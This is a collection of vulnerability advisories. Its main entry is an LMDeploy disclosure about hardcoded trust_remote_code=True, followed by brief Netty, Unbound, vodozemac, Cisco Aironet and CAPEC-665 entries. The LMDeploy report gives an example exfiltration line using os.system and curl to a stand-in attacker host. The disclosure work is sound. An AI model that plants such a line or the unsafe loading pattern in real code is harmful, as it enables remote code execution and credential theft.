Summary
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
Details

๐Ÿ“‹ Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim: * It is NOT a network-attack RCE โ€” the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) โ€” the user explicitly types the repo name.

What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers โ‰ฅ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ร— user-must-load qualifier).

F13 โ€” LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source โ€” there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers โ‰ฅ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy โ€” which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues โ€” e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Source-level evidence

Site 1 โ€” architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 โ€” get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 โ€” quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 โ€” calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 โ€” pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 โ€” trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" โ€” a determined caller can pass False โ€” but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Project trust_remote_code default User control
HuggingFace Transformers False trust_remote_code keyword arg
vLLM False --trust-remote-code flag
LMDeploy True (hardcoded) None
TGI False --trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Severity

CVSS v3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H โ€” Base 7.8 High.

  • AV:L โ€” local (the user runs lmdeploy on their own host).
  • AC:L โ€” single command.
  • PR:N โ€” no privilege.
  • UI:R โ€” user must invoke lmdeploy with the malicious repo. Minor qualifier: many users will type lmdeploy serve api_server <repo> trusting that lmdeploy implements basic safety.
  • C:H, I:H, A:H โ€” full RCE on the user's machine; can read ~/.aws/credentials, exfiltrate data, persist, etc.

If the lmdeploy host is a multi-tenant inference platform (e.g. a cloud provider running lmdeploy as a service for multiple paying customers), the attack changes shape: any tenant who can pin a custom model name in their tenancy gets RCE on the inference host and scope changes to S:C with cross-tenant impact. CVSS rises to 9.6+. We are not claiming this dimension here without runtime evidence; just flagging it for triage.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py โ€” get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out โ†’ opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip โ€” the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary
Netty has a Vulnerable Default Configuration Which Leads to Denial of Service via Unbounded HTTP/3 Header Size
Details

Summary

The default configuration of the Http3ConnectionHandler in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an OutOfMemoryError.

Details

Netty securely limits header sizes for older protocols. In HTTP/1.1, Netty strictly enforces an 8192-byte limit out-of-the-box via HttpObjectDecoder. For HTTP/2, while RFC 9113 specifies that SETTINGS_MAX_HEADER_LIST_SIZE defaults to unlimited, Netty securely overrides this RFC default by enforcing an 8192-byte limit (Http2CodecUtil.DEFAULT_HEADER_LIST_SIZE).

However, this secure-by-default configuration is missing in the HTTP/3 implementation. While Netty provides a mechanism to configure the maximum header field section size via Http3Settings, its out-of-the-box behaviour strictly follows RFC 9114's unlimited default.

Because many developers rely on the framework's default configurations and basic constructors, their applications are unknowingly left vulnerable. This nearly infinite default limit is passed into Http3FrameCodec#newFactory and stored as maxHeaderListSize inside Http3FrameCodec.

A bad actor can continuously send HTTP/3 headers within a connection, exploiting the insecure default configuration to consume server memory unconditionally until the application crashes with an OutOfMemoryError.

Impact

Denial of Service via memory exhaustion. All applications using Netty's HTTP/3 codec with its default configuration are impacted.

Details

In NLnet Labs Unbound 1.6.0 up to and including 1.25.1, the 'view_local_data' and 'view_local_datas' commands of 'unbound-control' create a bare local zones tree for an already configured named view when the view is configured with no local data to begin with. However, the creation through the control interface omits adding the default-protected zones (e.g., RFC 1918 reverse, AS112 zones, .onion, .localhost). Once the local zone tree exists without the defaults, every query for a default-protected name from a client mapped to that view escapes to the public DNS via the iterator instead of being answered locally, bypassing local policy expectations.

Summary
vodozemac has degraded secret zeroization capabilities
Details

Versions 0.5.0 and 0.5.1 of vodozemac have degraded secret zeroization capabilities, due to changes in third-party cryptographic dependencies (the Dalek crates), which moved secret zeroization capabilities behind a feature flag while vodozemac disabled the default feature set.

Impact

The degraded zeroization capabilities could result in the production of more memory copies of encryption secrets and secrets could linger in memory longer than necessary. This marginally increases the risk of sensitive data exposure.

Overall, we consider the impact of this issue to be low. Although cryptographic best practices recommend the clearing of sensitive information from memory once it's no longer needed, the inherent limitations of Rust regarding absolute zeroization reduce the practical severity of this lapse.

Patches

The patch is in commit https://github.com/matrix-org/vodozemac/pull/130/commits/297548cad4016ce448c4b5007c54db7ee39489d9.

Workarounds

A vulnerability in Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points running Cisco Mobility Express Software could allow an unauthenticated, remote attacker to take complete control of an affected device. The vulnerability is due to the existence of default credentials for an affected device that is running Cisco Mobility Express Software, regardless of whether the device is configured as a master, subordinate, or standalone access point. An attacker who has layer 3 connectivity to an affected device could use Secure Shell (SSH) to log in to the device with elevated privileges. A successful exploit could allow the attacker to take complete control of the device. This vulnerability affects Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points that are running an 8.2.x release of Cisco Mobility Express Software prior to Release 8.2.111.0, regardless of whether the device is configured as a master, subordinate, or standalone access point.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
